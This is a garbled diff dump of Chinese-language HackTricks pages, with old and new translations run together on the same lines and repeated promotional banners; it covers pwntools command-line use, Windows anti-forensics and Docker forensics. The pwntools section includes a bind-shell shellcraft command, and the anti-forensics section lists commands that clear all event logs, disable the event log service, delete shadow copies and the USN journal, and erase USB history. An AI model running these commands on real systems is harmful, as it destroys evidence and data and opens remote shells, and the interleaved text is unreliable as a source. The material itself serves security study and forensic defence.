- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>
``` ```
@ -18,57 +16,55 @@ pip3 install pwntools
``` ```
# Pwn asm # Pwn asm
从行或文件获取操作码。 从行或文件获取操作码。
``` ```
pwn asm "jmp esp" pwn asm "jmp esp"
pwn asm -i <filepath> pwn asm -i <filepath>
``` ```
**可以选择:** **可选项:**
* 输出类型原始、十六进制、字符串、elf * 输出类型 (原始,十六进制,字符串,elf)
* 输出文件上下文16位、32位、64位、Linux、Windows... * 输出文件上下文 (16,32,64,linux,windows...)
* 避免字节(换行符、空字符、列表) * 避免字节 (换行符,空字符,列表)
* 选择使用gdb运行输出的编码器调试shellcode * 选择使用gdb运行输出的编码器调试shellcode
# **Pwn checksec** # **Pwn checksec**
检查安全性脚本 Checksec脚本
``` ```
pwn checksec <executable> pwn checksec <executable>
``` ```
# Pwn constgrep # 利用 constgrep
# Pwn cyclic # 利用 cyclic
获取一个模式 获取一个模式
``` ```
pwn cyclic 3000 pwn cyclic 3000
pwn cyclic -l faad pwn cyclic -l faad
``` ```
**可以选择:** **可选项:**
* 使用的字母表(默认为小写字 * 使用的字母表(默认为小写字
* 唯一模式的长度默认为4 * 唯一模式的长度默认为4
* 上下文16、32、64、Linux、Windows... * 上下文16,32,64,linux,windows...
* 获取偏移量(-l * 获取偏移量(-l
# Pwn调试 # Pwn 调试
将GDB附加到一个进程 GDB 附加到一个进程
``` ```
pwn debug --exec /bin/bash pwn debug --exec /bin/bash
pwn debug --pid 1234 pwn debug --pid 1234
pwn debug --process bash pwn debug --process bash
``` ```
**可选择的选项:** **可选择:**
* 通过可执行文件、名称或进程ID上下文16位、32位、64位、Linux、Windows... * 通过可执行文件、名称或pid上下文16,32,64,linux,windows...
* 要执行的gdbscript * 要执行的gdbscript
* sysroot路径 * sysroot路径
# 禁用二进制文件的NX保护 # 禁用二进制文件的nx
禁用二进制文件的NX保护
``` ```
pwn disablenx <filepath> pwn disablenx <filepath>
``` ```
@ -78,35 +74,35 @@ pwn disablenx <filepath>
``` ```
pwn disasm ffe4 pwn disasm ffe4
``` ```
**可选择的选项:** **可以选择:**
* 上下文16、32、64、Linux、Windows... * 上下文 (16,32,64,linux,windows...)
* 基地址 * 基地址
* 颜色(默认)/无颜色 * 颜色(默认)/无颜色
# Pwn elfdiff # Pwn elfdiff
打印两个文件之间的差异 打印两个文件之间的差异
``` ```
pwn elfdiff <file1> <file2> pwn elfdiff <file1> <file2>
``` ```
# Pwn 十六进制 # Pwn hex
获取十六进制表示形式 获取十六进制表示
```bash ```bash
pwn hex hola #Get hex of "hola" ascii pwn hex hola #Get hex of "hola" ascii
``` ```
# Pwn phd # Pwn phd
获取十六进制转储hexdump 获取十六进制转储
``` ```
pwn phd <file> pwn phd <file>
``` ```
**可以选择** **可以选择:**
* 要显示的字节数 * 要显示的字节数
* 每行突出显示的字节数 * 每行突出显示的字节数
* 跳过开头的字节 * 跳过开头的字节
# Pwn pwnstrip # Pwn pwnstrip
@ -122,15 +118,15 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
``` ```
**可选择的内容:** **可选项:**
* shellcode和shellcode的参数 * shellcode和shellcode的参数
* 输出文件 * 输出文件
* 输出格式 * 输出格式
* 调试将dbg附加到shellcode * 调试将dbg附加到shellcode
* 在代码之前设置调试陷阱 * 在代码之前设置调试陷阱
* 在代码之后设置调试陷阱 * 在代码之后
* 避免使用操作码(默认非空和换行符) * 避免使用操作码(默认: 非空和换行符)
* 运行shellcode * 运行shellcode
* 彩色/无彩色 * 彩色/无彩色
* 列出系统调用 * 列出系统调用
@ -143,7 +139,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
``` ```
pwn template pwn template
``` ```
**可以选择:**主机、端口、用户、密码、路径和静默模式 **可选项:** 主机、端口、用户、密码、路径和静默
# Pwn unhex # Pwn unhex
@ -153,22 +149,20 @@ pwn unhex 686f6c61
``` ```
# Pwn 更新 # Pwn 更新
更新 pwntools,可以运行以下命令: 更新 pwntools
``` ```
pwn update pwn update
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>

View file

@ -1,89 +1,89 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# 时间戳 # 时间戳
攻击者可能对**更改文件的时间戳**感兴趣,以避免被检测到。\ 攻击者可能有兴趣**更改文件的时间戳**以避免被检测。\
可以在MFT的`$STANDARD_INFORMATION`和`$FILE_NAME`属性中找到时间戳。 可以在MFT属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。
这两个属性都有4个时间戳**修改**、**访问**、**创建**和**MFT注册修改**MACE或MACB 这两个属性都有4个时间戳**修改**、**访问**、**创建**和**MFT注册修改**MACE或MACB
**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。 **Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。
## TimeStomp - 反取证工具 ## TimeStomp - 反取证工具
此工具**修改**`$STANDARD_INFORMATION`中的时间戳信息,**但不**修改`$FILE_NAME`中的信息。因此,可以**识别**可疑**活动**。 该工具**修改**了**`$STANDARD_INFORMATION`**中的时间戳信息,**但不会**修改**`$FILE_NAME`**中的信息。因此,可以**识别**出**可疑活动**。
## Usnjrnl ## Usnjrnl
**USN日志**(更新序列号日志)或更改日志是Windows NT文件系统NTFS的一个特性**记录对卷所做的更改**。\ **USN日志**(更新序列号日志)是Windows NT文件系统NTFS的一个功能**记录对卷所做更改的记录**。\
可以使用工具[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)来搜索此记录的修改。 可以使用工具[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)来搜索此记录的修改。
![](<../../.gitbook/assets/image (449).png>) ![](<../../.gitbook/assets/image (449).png>)
上图是**工具**显示的**输出**,可以看到对文件进行了一些**更改**。 上图是**工具显示的输出**,可以看到对文件进行了一些**更改**。
## $LogFile ## $LogFile
为了确保系统崩溃后能够一致地恢复关键文件系统结构,对文件系统的所有元数据更改都会被记录下来。这称为[预写日志](https://en.wikipedia.org/wiki/Write-ahead_logging)。\ 文件系统的所有元数据更改都会被记录下来,以确保系统崩溃后可以一致地恢复关键文件系统结构。这称为[预写式日志记录](https://en.wikipedia.org/wiki/Write-ahead_logging)。\
记录的元数据存储在一个名为“**$LogFile**”的文件中该文件位于NTFS文件系统的根目录中。\ 记录的元数据存储在名为“**$LogFile**”的文件中该文件位于NTFS文件系统的根目录中。\
可以使用像[LogFileParser](https://github.com/jschicht/LogFileParser)这样的工具来解析这个文件并找到更改。 可以使用诸如[LogFileParser](https://github.com/jschicht/LogFileParser)之类的工具来解析此文件并查找更改。
![](<../../.gitbook/assets/image (450).png>) ![](<../../.gitbook/assets/image (450).png>)
同样,在工具的输出中可以看到进行了**一些更改**。 再次,在工具的输出中,可以看到**进行了一些更改**。
使用同一工具还可以识别时间戳被修改的**具体时间** 使用相同的工具,可以确定**时间戳何时被修改**
![](<../../.gitbook/assets/image (451).png>) ![](<../../.gitbook/assets/image (451).png>)
* CTIME: 文件的创建时间 * CTIME文件的创建时间
* ATIME: 文件的修改时间 * ATIME文件的修改时间
* MTIME: 文件的MFT注册表修改时间 * MTIME文件的MFT注册修改时间
* RTIME: 文件的访问时间 * RTIME文件的访问时间
## `$STANDARD_INFORMATION`和`$FILE_NAME`比较 ## `$STANDARD_INFORMATION`和`$FILE_NAME`比较
另一种识别可疑修改文件的方法是比较两个属性的时间,寻找**不匹配**。 另一种识别可疑修改文件的方法是比较两个属性的时间,寻找**不匹配**。
## 纳秒 ## 纳秒
**NTFS**时间戳的**精度**为**100纳秒**。因此,发现时间戳如2010-10-10 10:10:**00.000:0000的文件非常可疑**。 **NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳为2010-10-10 10:10:**00.000:0000的文件非常可疑**。
## SetMace - 反取证工具 ## SetMace - 反取证工具
此工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。然而从Windows Vista开始需要一个活动的操作系统来修改这些信息。 该工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。但是从Windows Vista开始需要一个实时操作系统来修改此信息。
# 数据隐藏 # 数据隐藏
NFTS使用簇和最小信息大小。这意味着,如果一个文件占用了一个簇和半个簇,那么**剩下的半个簇永远不会被使用**,直到文件被删除。因此,可以**在这个松散空间中隐藏数据**。 NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用一个半簇,**剩余的一半将永远不会被使用**,直到文件被删除。因此,可以**在这个空闲空间中隐藏数据**。
像slacker这样的工具允许在这个“隐藏”的空间中隐藏数据。然而对`$logfile`和`$usnjrnl`的分析可以显示添加了一些数据: 一些工具如slacker允许在这个“隐藏”空间中隐藏数据。但是对`$logfile`和`$usnjrnl`的分析可能会显示添加了一些数据:
![](<../../.gitbook/assets/image (452).png>) ![](<../../.gitbook/assets/image (452).png>)
然后可以使用像FTK Imager这样的工具来检索松散空间。注意这类工具可以保存内容使其模糊或甚至加密。 因此可以使用FTK Imager等工具检索空闲空间。请注意这种工具可能会保存内容模糊化或甚至加密。
# UsbKill # UsbKill
这是一个工具如果检测到USB端口有任何变化,它将**关闭计算机**。\ 这是一个工具如果检测到USB端口发生任何更改,将**关闭计算机**。\
发现这一点的方法是检查正在运行的进程并**审查每个正在运行的python脚本**。 发现这一点的方法是检查运行中的进程并**查看每个运行的Python脚本**。
# Live Linux发行版 # 实时Linux发行版
这些发行版是**在RAM内存中执行**的。唯一能检测到它们的方式是**如果NTFS文件系统以写权限挂载**。如果以读权限挂载,将无法检测入侵。 这些发行版是**在RAM内存中执行**的。唯一的检测方法是**如果NTFS文件系统以写权限挂载**。如果只以读权限挂载,将无法检测入侵。
# 安全删除 # 安全删除
@ -95,88 +95,75 @@ NFTS使用簇和最小信息大小。这意味着如果一个文件占用了
## 禁用时间戳 - UserAssist ## 禁用时间戳 - UserAssist
这是一个注册表键,维护用户每次运行可执行文件的日期和时间。 这是一个维护用户运行每个可执行文件的日期和时间的注册表键
禁用UserAssist需要两个步骤 禁用UserAssist需要两个步骤
1. 设置两个注册表键,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们希望禁用UserAssist。 1. 设置两个注册表键,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们禁用UserAssist。
2. 清除看起来像`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`的注册表子树。 2. 清除类似`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`的注册表子树。
## 禁用时间戳 - 预取 ## 禁用时间戳 - Prefetch
这将保存有关执行的应用程序的信息目的是提高Windows系统的性能。然而,这也可以用于取证实践 这将保存有关执行的应用程序的信息目的是提高Windows系统的性能。但是,这也对取证实践有用
* 执行`regedit` * 执行`regedit`
* 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` * 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* 右键单击`EnablePrefetcher`和`EnableSuperfetch` * 右键单击`EnablePrefetch`和`EnableSuperfetch`
* 选择修改每个这些将值从1或3更改为0 * 对每个进行修改将值从1或3更改为0
* 重启 * 重
## 禁用时间戳 - 最后访问时间 ## 禁用时间戳 - 最后访问时间
每当从Windows NT服务器的NTFS卷打开文件夹时系统会花时间**更新每个列出文件夹上的时间戳字段**,称为最后访问时间。在频繁使用的NTFS卷上这可能会影响性能。 每当从Windows NT服务器的NTFS卷打开文件夹时,系统会花时间**更新列出的每个文件夹上的时间戳字段**,称为最后访问时间。在使用频繁的NTFS卷上这可能会影响性能。
1. 打开注册表编辑器Regedit.exe 1. 打开注册表编辑器Regedit.exe
2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。 2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
3. 查找`NtfsDisableLastAccessUpdate`。如果它不存在添加这个DWORD并将其值设置为1这将禁用该过程。 3. 查找`NtfsDisableLastAccessUpdate`。如果不存在请添加此DWORD并将其值设置为1禁用该过程。
4. 关闭注册表编辑器,并重启服务器。 4. 关闭注册表编辑器,并重服务器。
## 删除USB历史 ## 删除USB历史记录
所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表键下,每当您将USB设备插入PC或笔记本电脑时都会创建子键。您可以在这里找到这个键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除这个**你将删除USB历史。\ 所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表键下,该键包含每次将USB设备插入PC或笔记本电脑时创建的子键。您可以在此处找到此键 H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此**将删除USB历史记录。\
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保删除它们(并删除它们)。 您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)确保已删除它们(并删除它们)。
另一个保存USB信息的文件是`C:\Windows\INF`内的`setupapi.dev.log`。这也应该被删除。 保存有关USB的信息的另一个文件是`C:\Windows\INF`中的文件`setupapi.dev.log`。这也应该被删除。
## 禁用影副本 ## 禁用影副本
**列出**影子副本,使用`vssadmin list shadowstorage`\ 使用`vssadmin list shadowstorage`**列出**阴影副本\
**删除**它们,运行`vssadmin delete shadow` 运行`vssadmin delete shadow`**删除**它们
也可以按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤通过GUI删除它们 也可以通过GUI删除它们按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作。
禁用影副本: 禁用影副本:
1. 转到Windows开始按钮输入"services"到文本搜索框;打开服务程序。 1. 转到Windows开始按钮输入“services”到文本搜索框中;打开服务程序。
2. 从列表中找到"Volume Shadow Copy",突出显示它,然后右键>属性。 2. 从列表中找到“Volume Shadow Copy”突出显示它然后右键单击 > 属性。
3. 从"启动类型"下拉菜单中,选择禁用,然后点击应用和确定。 3. 从“启动类型”下拉菜单中选择“禁用”,然后单击应用和确定。
![](<../../.gitbook/assets/image (453).png>) ![](<../../.gitbook/assets/image (453).png>)
也可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改哪些文件将被复制到影子副本的配置。 还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改要复制到阴影副本中的文件的配置。
## 覆盖已删除的文件 ## 覆盖已删除的文件
* 您可以使用**Windows工具**`cipher /w:C` 这将指示cipher从C驱动器中的可用未使用磁盘空间中删除任何数据。 * 您可以使用一个**Windows工具**`cipher /w:C` 这将指示cipher从C驱动器中的可用未使用磁盘空间中删除任何数据。
* 您还可以使用像[**Eraser**](https://eraser.heidi.ie)这样的工具 * 您还可以使用诸如[**Eraser**](https://eraser.heidi.ie)之类的工具
## 删除Windows事件日志 ## 删除Windows事件日志
* Windows + R --> eventvwr.msc --> 展开"Windows日志" --> 右键单击每个类别并选择"清除日志" * Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别,选择“清除日志”
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## 禁用Windows事件日志 ## 禁用Windows事件日志
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* 在服务部分禁用"Windows事件日志"服务 * 在服务部分内部禁用服务“Windows事件日志”
* `WEvtUtil.exec clear-log``WEvtUtil.exe cl` * `WEvtUtil.exec clear-log``WEvtUtil.exe cl`
## 禁用$UsnJrnl ## 禁用$UsnJrnl
* `fsutil usn deletejournal /d c:` * `fsutil usn deletejournal /d c:`
<details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,28 +1,28 @@
# Docker 取证 # Docker取证
<details> <details>
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想**HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 容器修改 ## 容器修改
疑虑某个 docker 容器被泄露 人怀疑某个Docker容器已被入侵
```bash ```bash
docker ps docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
``` ```
你可以轻松地**找到对此容器相对于镜像所做的修改**,方法是 您可以轻松地使用以下命令查找有关此容器对镜像所做修改
```bash ```bash
docker diff wordpress docker diff wordpress
C /var C /var
@ -36,52 +36,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV A /var/lib/mysql/mysql/general_log.CSV
... ...
``` ```
在上一个命令中 **C** 代表 **已更改****A** 代表 **已添加**。\ 在上一个命令中**C** 代表 **Changed****A** 代表 **Added**。\
如果你发现`/etc/shadow` 这样的一些有趣的文件被修改了,你可以使用以下命令从容器中下载它,以检查是否有恶意活动: 如果你发现一些有趣的文件,比如 `/etc/shadow` 被修改了,你可以从容器中下载它,以检查是否存在恶意活动:
```bash ```bash
docker cp wordpress:/etc/shadow. docker cp wordpress:/etc/shadow.
``` ```
你也可以通过**运行一个新容器并从中提取文件**来**与原始文件进行比较** 您还可以通过运行一个新容器并从中提取文件来**与原始文件进行比较**
```bash ```bash
docker run -d lamp-wordpress docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow diff original_shadow shadow
``` ```
如果您发现**有可疑文件被添加**,您可以访问容器并检查它 如果发现**添加了一些可疑文件**,您可以访问容器并进行检查
```bash ```bash
docker exec -it wordpress bash docker exec -it wordpress bash
``` ```
## 像修改 ## 像修改
你获得一个导出的docker镜像可能是`.tar`格式)时,你可以使用[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)来**提取修改摘要** 您获得一个导出的 Docker 镜像(可能是 `.tar` 格式)时,您可以使用 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) **提取修改摘要**
```bash ```bash
docker save <image> > image.tar #Export the image to a .tar file docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar container-diff analyze -t metadata image.tar
``` ```
然后,您可以**解压缩**镜像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件: 然后,您可以**解压**图像并**访问 blobs**,以搜索您在更改历史记录中发现的可疑文件:
```bash ```bash
tar -xf image.tar tar -xf image.tar
``` ```
### 基分析 ### 基分析
您可以通过运行以下命令从镜像获取**基础信息** 您可以从运行的镜像中获取**基本信息**
```bash ```bash
docker inspect <image> docker inspect <image>
``` ```
你也可以通过以下方式获取**变更历史**的摘要 您还可以使用以下命令获取**更改历史记录摘要**
```bash ```bash
docker history --no-trunc <image> docker history --no-trunc <image>
``` ```
你也可以使用以下命令从镜像**生成一个 dockerfile** 您还可以使用以下命令从镜像生成**dockerfile**
```bash ```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
``` ```
### Dive ### Dive
为了在docker镜像中找到添加/修改的文件,你也可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载)工具 为了找到 Docker 镜像中添加/修改的文件,您还可以使用 [**dive**](https://github.com/wagoodman/dive)(从 [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) 下载)实用程序
```bash ```bash
#First you need to load the image in your docker repo #First you need to load the image in your docker repo
